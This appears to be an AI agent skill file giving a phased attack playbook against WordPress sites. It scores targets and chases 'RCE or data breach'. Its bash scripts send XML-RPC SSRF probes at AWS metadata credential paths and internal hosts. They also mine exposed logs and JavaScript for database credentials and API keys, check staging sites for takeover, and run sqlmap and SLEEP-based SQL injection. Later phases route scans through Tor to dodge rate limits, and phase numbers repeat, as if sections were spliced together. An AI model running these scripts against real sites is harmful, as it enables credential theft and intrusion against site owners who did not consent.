Deep Invade Skill
Focused follow-up methodology for WordPress targets prioritized by
wp-mass-recon. It connects XML-RPC SSRF validation, exposed-log analysis,
plugin version review, JavaScript inspection, staging discovery, service
mapping, and API enumeration.
When to Use
wp-mass-reconscored a target >= 6 (CORS confirmed, XMLRPC open, source leaks found).- You are assigned a single high-value target for deep assessment.
- After surface recon, you need to find the chain that leads to RCE or data breach.
- Multiple independent signals justify a deeper, target-specific follow-up.
Prerequisites
curl,python3, and the tools required by each selected phase.- Target already scored >= 6 from wp-mass-recon (WordPress confirmed, at least 2 of: CORS/XMLRPC/source leak).
- Collaborator endpoint (Burp Collaborator, interactsh, or your own server) for SSRF/blind confirmation.
nmapavailable when port scanning is in scope.
How to Run
Execute probes in order. Each phase builds on the previous:
- Extended SSRF probe (XMLRPC pingback to IMDS, localhost, internal IPs)
- Error log mining (fetch and grep for creds, paths, SQL)
- Plugin CVE matrix (30+ REST namespaces, readme.txt versions)
- JavaScript bundle analysis (11 regex patterns for secrets)
- Subdomain/staging enumeration (crt.sh, httpx, WP install pages)
- Port scan (nmap -F for MySQL, FTP, SSH, internal APIs)
- API discovery (Swagger, GraphQL, WooCommerce, Gravity Forms)
Quick Reference
| Phase | Technique | Tool | Typical time |
|---|---|---|---|
| 1 | XML-RPC SSRF validation with an authorized callback | curl + callback service | 2 min |
| 2 | Exposed error-log analysis | Python regex | 1 min |
| 3 | Plugin namespace and version review | curl + regex | 3 min |
| 4 | JavaScript bundle analysis | js-secrets-extraction | 2 min |
| 5 | Subdomain and staging comparison | crt.sh, httpx, curl | 5 min |
| 6 | Scoped port and service discovery | nmap | scope dependent |
| 7 | API description and route discovery | curl + regex | 2 min |
Procedure
Phase 1 — Extended SSRF Probe
bashTARGET="$1" COLLAB="$2" # Your Burp Collaborator / interactsh URL echo "[*] Phase 1: SSRF Probe" # Test 1: Confirm pingback SSRF to your callback curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \ -d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName> <params><param><value><string>$COLLAB</string></value></param> <param><value><string>https://$TARGET/?p=1</string></value></param></params></methodCall>" | grep faultCode echo "[*] Check Collaborator for callback — if received, SSRF confirmed" # Test 2: AWS IMDSv1 (15 paths) for path in "" "iam/security-credentials/" "iam/security-credentials/admin" \ "iam/security-credentials/ec2-admin" "iam/security-credentials/s3-full-access" \ "user-data/" "placement/availability-zone" "public-keys/0/openssh-key" \ "network/interfaces/macs/" "security-groups" "ami-id" "hostname" \ "instance-id" "mac" "profile"; do result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \ -d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName> <params><param><value><string>http://192.0.2.1/latest/meta-data/$path</string></value></param> <param><value><string>https://$TARGET/?p=1</string></value></param></params></methodCall>" 2>/dev/null | grep -o 'faultCode>[0-9]*') code=$(echo "$result" | grep -o '[0-9]\+') [[ "$code" == "0" ]] && echo "[SSRF] IMDS reachable: /$path" || echo "[--] IMDS blocked: /$path (faultCode=$code)" sleep 0.5 done # Test 3: Internal network probes for ip in "127.0.0.1:80" "127.0.0.1:3306" "127.0.0.1:8080" "127.0.0.1:3000" \ "10.0.0.1:80" "172.16.0.1:80" "192.168.0.1:80" "localhost:22"; do result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \ -d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName> <params><param><value><string>http://$ip/</string></value></param> <param><value><string>https://$TARGET/?p=1</string></value></param></params></methodCall>" 2>/dev/null | grep -o 'faultCode>[0-9]*') code=$(echo "$result" | grep -o '[0-9]\+') [[ "$code" == "0" ]] && echo "[SSRF] Internal reachable: $ip" || true sleep 0.5 done
Phase 2 — Error Log Mining
bashTARGET="$1" echo "[*] Phase 2: Error Log Mining" # Fetch error_log (can be multi-MB) curl -sk --max-time 30 --connect-timeout 10 "https://$TARGET/error_log" -o /tmp/error_log_$TARGET.txt 2>/dev/null curl -sk --max-time 30 --connect-timeout 10 "https://$TARGET/wp-content/debug.log" >> /tmp/error_log_$TARGET.txt 2>/dev/null size=$(wc -c < /tmp/error_log_$TARGET.txt 2>/dev/null) if [[ "$size" -gt 100 ]]; then echo "[+] Error log found: ${size} bytes" # Extract server paths echo "[*] Server paths:" grep -Eo '/[a-zA-Z0-9/_.-]+\.php' /tmp/error_log_$TARGET.txt 2>/dev/null | sort -u | head -20 # Extract email addresses echo "[*] Email addresses:" grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/error_log_$TARGET.txt 2>/dev/null | sort -u | head -10 # Extract DB credentials echo "[*] DB credentials:" grep -iE 'mysql_connect|mysqli_connect|new PDO|DB_HOST|DB_USER|DB_PASSWORD|database.*password' /tmp/error_log_$TARGET.txt 2>/dev/null | head -5 # Extract SQL queries echo "[*] SQL queries:" grep -iE 'SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|JOIN' /tmp/error_log_$TARGET.txt 2>/dev/null | head -10 # Extract API keys echo "[*] API keys:" grep -iE 'api_key|api_secret|access_token|auth_token|bearer' /tmp/error_log_$TARGET.txt 2>/dev/null | head -5 # PHP error summary echo "[*] Error summary:" echo " Fatal: $(grep -ci 'Fatal error' /tmp/error_log_$TARGET.txt)" echo " Warning: $(grep -ci 'Warning' /tmp/error_log_$TARGET.txt)" echo " Notice: $(grep -ci 'Notice' /tmp/error_log_$TARGET.txt)" echo " Deprecated: $(grep -ci 'Deprecated' /tmp/error_log_$TARGET.txt)" # Date range echo "[*] Date range:" head -1 /tmp/error_log_$TARGET.txt | grep -Eo '\[\d{2}-[A-Za-z]{3}-\d{4}' 2>/dev/null tail -1 /tmp/error_log_$TARGET.txt | grep -Eo '\[\d{2}-[A-Za-z]{3}-\d{4}' 2>/dev/null else echo "[-] No error log found" fi
Phase 3 — Plugin CVE Matrix
bashTARGET="$1" echo "[*] Phase 3: Plugin CVE Matrix" # Probe 30+ plugin REST namespaces declare -A PLUGINS PLUGINS[revslider]="/wp-json/revslider/v1/slides|CVE-2024-2534 (RCE)|Slider Revolution" PLUGINS[elementskit]="/wp-json/elementskit/v1/|CVE-2023-6851/6853 (RCE)|ElementsKit" PLUGINS[elementor]="/wp-json/elementor/v1/globals|CVE-2024-xxxx (info disclosure)|Elementor" PLUGINS[gravityforms]="/wp-json/gf/v2/forms|CVE-2024-6115 (auth bypass)|Gravity Forms" PLUGINS[jetpack]="/wp-json/jetpack/v4/|CVE-2024-1782 (info disclosure)|Jetpack" PLUGINS[litespeed]="/wp-json/litespeed/v1/|CVE-2024-50550 (privilege escalation)|LiteSpeed Cache" PLUGINS[woocommerce]="/wp-json/wc/v3/products|API info disclosure|WooCommerce" PLUGINS[yoast]="/wp-json/yoast/v1/|SEO data disclosure|Yoast SEO" PLUGINS[acf]="/wp-json/acf/v3/|CVE-2023-xxxx (info disclosure)|Advanced Custom Fields" PLUGINS[contactform7]="/wp-json/contact-form-7/v1/|Configuration leak|Contact Form 7" PLUGINS[solidwp]="/wp-json/solidwp-mail/v1/|Mail log disclosure|SolidWP Mail" PLUGINS[wpsl]="/wp-json/wpsl/v1/|Store locator data|WP Store Locator" PLUGINS[redirection]="/wp-json/redirection/v1/|Redirect log exposure|Redirection" PLUGINS[wpml]="/wp-json/wpml/v1/|Translation data|WPML" PLUGINS[rankmath]="/wp-json/rankmath/v1/|SEO data|Rank Math" for plugin in "${!PLUGINS[@]}"; do IFS='|' read -r path cve name <<< "${PLUGINS[$plugin]}" code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path" 2>/dev/null) if [[ "$code" == "200" || "$code" == "401" || "$code" == "403" ]]; then echo "[PLUGIN] $name ($plugin) — HTTP $code — $cve" # If 200, try to get version from readme.txt if [[ "$code" == "200" ]]; then ver=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/wp-content/plugins/$plugin/readme.txt" 2>/dev/null | grep -i "stable tag" | head -1) [[ -n "$ver" ]] && echo " Version: $ver" fi fi sleep 0.5 done # Also probe readme.txt for elementor, revslider (common alternate paths) for slug in "elementor" "revslider" "js_composer" "wp-rocket" \ "wordfence" "woocommerce" "jetpack" "litespeed-cache"; do ver=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/wp-content/plugins/$slug/readme.txt" 2>/dev/null | grep -i "stable tag" | head -1) [[ -n "$ver" ]] && echo "[VERSION] $slug: $ver" sleep 0.3 done
Phase 4 — JavaScript Secret Extraction
See skill_view(name='js-secrets-extraction') for full procedure. Quick scan:
bashTARGET="$1" # Fetch homepage and common JS bundles curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" -o /tmp/page_$TARGET.html 2>/dev/null JS_URLS=$(grep -Eo 'src="[^"]+\.js[^"]*"' /tmp/page_$TARGET.html 2>/dev/null | sed 's/src="//;s/"//' | head -10) for js_url in $JS_URLS; do # Make relative URLs absolute [[ "$js_url" =~ ^// ]] && js_url="https:$js_url" [[ "$js_url" =~ ^/ ]] && js_url="https://$TARGET$js_url" content=$(curl -sk --max-time 10 --connect-timeout 10 "$js_url" 2>/dev/null) # 11 regex patterns echo "$content" | grep -Eo '(?:api_key|apiKey|API_KEY)["\s:=]+["'\''][A-Za-z0-9_-]{20,}' echo "$content" | grep -Eo 'https?://[a-zA-Z0-9.-]+\.(?:amazonaws|cloudfront)\.(?:com|net)[^"'\''\s]*' echo "$content" | grep -Eo 'eyJ[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}' echo "$content" | grep -Eo 'AKIA[0-9A-Z]{16}' echo "$content" | grep -Eo '[a-z0-9-]+\.firebaseio\.com' echo "$content" | grep -Eo '[a-z0-9-]+\.supabase\.co' echo "$content" | grep -Eo 'sk_live_[0-9a-zA-Z]{24,}' echo "$content" | grep -Eo 'ghp_[0-9a-zA-Z]{36}' echo "$content" | grep -Eo 'xox[bprs]-[0-9a-zA-Z-]+' echo "$content" | grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' echo "$content" | grep -Eo 'AIza[0-9A-Za-z_-]{35}' sleep 0.3 done | sort -u
Phase 5 — Subdomain/Staging Discovery
See skill_view(name='staging-subdomain-hunt') for full procedure. Quick scan:
bashTARGET="$1" DOMAIN=$(echo "$TARGET" | sed 's|https\?://||') echo "[*] Phase 5: Subdomain/Staging Discovery" # crt.sh certificate transparency curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$DOMAIN&output=json" 2>/dev/null | \ jq -r '.[].name_value' 2>/dev/null | sed 's/\*\.//g' | sort -u > /tmp/subs_$DOMAIN.txt sub_count=$(wc -l < /tmp/subs_$DOMAIN.txt) echo "[+] crt.sh: $sub_count subdomains" # Filter for interesting ones echo "[*] Interesting subdomains:" grep -iE 'staging|stage|dev|test|uat|beta|old|new|admin|portal|api|app|dashboard' /tmp/subs_$DOMAIN.txt | head -20 # Probe them for WordPress install pages (staging takeover vector) echo "[*] Staging takeover check:" for sub in $(grep -iE 'staging|stage|dev' /tmp/subs_$DOMAIN.txt | head -5); do for path in "/wp-admin/install.php" "/wp-admin/upgrade.php" "/wp-admin/setup-config.php"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$sub$path" 2>/dev/null) [[ "$code" == "200" ]] && echo "[TAKEOVER] https://$sub$path — HTTP $code" done sleep 0.5 done
Phase 6 — Port Scan
bashTARGET="$1" DOMAIN=$(echo "$TARGET" | sed 's|https\?://||') echo "[*] Phase 6: Port Scan" nmap -F --open -T4 "$DOMAIN" -oN /tmp/nmap_$DOMAIN.txt 2>/dev/null echo "[*] Open ports:" grep 'open' /tmp/nmap_$DOMAIN.txt # Flag critical exposures grep -q '3306.*open' /tmp/nmap_$DOMAIN.txt && echo "[CRITICAL] MySQL 3306 open to internet!" grep -q '27017.*open' /tmp/nmap_$DOMAIN.txt && echo "[CRITICAL] MongoDB 27017 open to internet!" grep -q '6379.*open' /tmp/nmap_$DOMAIN.txt && echo "[HIGH] Redis 6379 open to internet!" grep -q '8080.*open\|8081.*open\|8082.*open\|8084.*open' /tmp/nmap_$DOMAIN.txt && echo "[HIGH] Internal API port(s) exposed!" grep -q '22.*open' /tmp/nmap_$DOMAIN.txt && echo "[INFO] SSH 22 open" grep -q '21.*open' /tmp/nmap_$DOMAIN.txt && echo "[INFO] FTP 21 open"
Phase 7 — API Discovery
bashTARGET="$1" echo "[*] Phase 7: API Discovery" # Swagger / OpenAPI for path in "swagger.json" "swagger.yaml" "openapi.json" "api-docs" "api/docs" \ "swagger-ui.html" "swagger/index.html" "api/v1/swagger.json" "v2/api-docs" "v3/api-docs"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path") [[ "$code" == "200" ]] && echo "[API] Swagger: /$path" sleep 0.3 done # GraphQL for path in "graphql" "api/graphql" "gql" "query" "wp/graphql"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" \ -X POST -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}') [[ "$code" == "200" ]] && echo "[API] GraphQL: /$path" sleep 0.3 done # WooCommerce API curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/wc/v3/" | python3 -c " import sys, json try: data = json.load(sys.stdin) if 'namespace' in data: print('[API] WooCommerce REST API active') except: pass" 2>/dev/null # Gravity Forms API curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" | python3 -c " import sys, json try: data = json.load(sys.stdin) if isinstance(data, list) and len(data) > 0: print(f'[API] Gravity Forms: {len(data)} forms') except: pass" 2>/dev/null
Pitfalls
- SSRF faultCode 0 is NOT proof of reachability. Some servers return 0 for unreachable hosts. Always confirm with your own collaborator callback first.
- Error logs can be multi-GB. Use
curl -r 0-100000to fetch only the first 100KB for sampling. - Plugin namespace HTTP 200 doesn't mean the plugin is present. Some themes/setups return 200 for all
/wp-json/paths. Check response body for actual plugin data. - nmap requires root for SYN scan. Use
-sT(TCP connect) if running as non-root inside the container.
Verification
- Every SSRF callback MUST appear on your controlled collaborator/interactsh server.
- Error log MUST contain real PHP errors (not be a generic HTML page).
- Plugin CVEs MUST be verified against actual version numbers from readme.txt (not just namespace presence).
- Port scan results MUST be confirmed with banner grab (
nmap -sV).
Phase 6 — Nuclei Vulnerability Scanning
Automated CVE and misconfiguration detection across all discovered hosts:
bash# Scan all alive subdomains for known CVEs nuclei -l alive_subs.txt \ -t nuclei-templates/http/ \ -severity critical,high,medium \ -H "X-Forwarded-For: 127.0.0.1" \ -mhe 4 -rl 30 -es info \ -o nuclei_results.txt # Target exposure templates specifically nuclei -l alive_subs.txt \ -t nuclei-templates/http/exposures/ \ -o nuclei_exposures.txt # Network-level scans on discovered IPs nuclei -l unique_ips.txt \ -t nuclei-templates/network/ \ -H "X-Forwarded-For: 127.0.0.1" \ -mhe 4 -rl 30 -es info # Scan specific vulnerability classes for template in cves exposures misconfiguration technologies takeovers; do nuclei -l alive_subs.txt \ -t nuclei-templates/http/$template/ \ -severity critical,high \ -o nuclei_${template}.txt done
Phase 7 — Tor Proxy Rotation
Route all scanning through Tor to defeat IP-based rate limiting on aggressive targets:
bash# Start Tor service sudo systemctl start tor # Test Tor connectivity curl --max-time 30 --connect-timeout 10 --socks5 127.0.0.1:9050 https://check.torproject.org/ # nuclei through Tor — rotates IP every request nuclei -u https://target.com \ -p socks5://127.0.0.1:9050 \ -t nuclei-templates/http/ # httpx through Tor cat alive_subs.txt | httpx -silent -proxy socks5://127.0.0.1:9050 # curl through Tor curl --max-time 30 --connect-timeout 10 --socks5-hostname 127.0.0.1:9050 https://target.com # Use proxychains for any command proxychains4 nmap -sT -Pn target.com proxychains4 ffuf -u https://target.com/FUZZ -w $WEB_WORDLIST
Phase 8 — SQL Injection Scanning
Automated SQLi detection on parameterized URLs discovered during enumeration:
bash# Extract parameterized URLs for SQLi testing cat all_urls.txt | grep "=" | sort -u > parameterized_urls.txt # sqlmap on individual endpoints sqlmap -u "https://target.com/page.php?id=1" --dbs --banner --batch --random-agent # From saved Burp request file sqlmap -r request.txt --dbs --banner --batch # Batch scanning: test all parameterized URLs cat parameterized_urls.txt | while read url; do sqlmap -u "$url" --batch --random-agent --level 1 --risk 1 \ --smart --answers="follow=N,skip=Y" 2>/dev/null \ | grep -q "is vulnerable" && echo "VULNERABLE: $url" done # nuclei SQLi templates nuclei -l parameterized_urls.txt \ -t nuclei-templates/http/vulnerabilities/sql-injection/ \ -severity critical,high \ -o nuclei_sqli.txt # Time-based blind SQLi detection (non-intrusive) cat parameterized_urls.txt | while read url; do curl -sk --max-time 5 --connect-timeout 5 "$url' AND SLEEP(5)--" \ -w "%{time_total}s — $url" -o /dev/null echo done | awk '$1 > 4.5 {print "SLOW: " $0}'

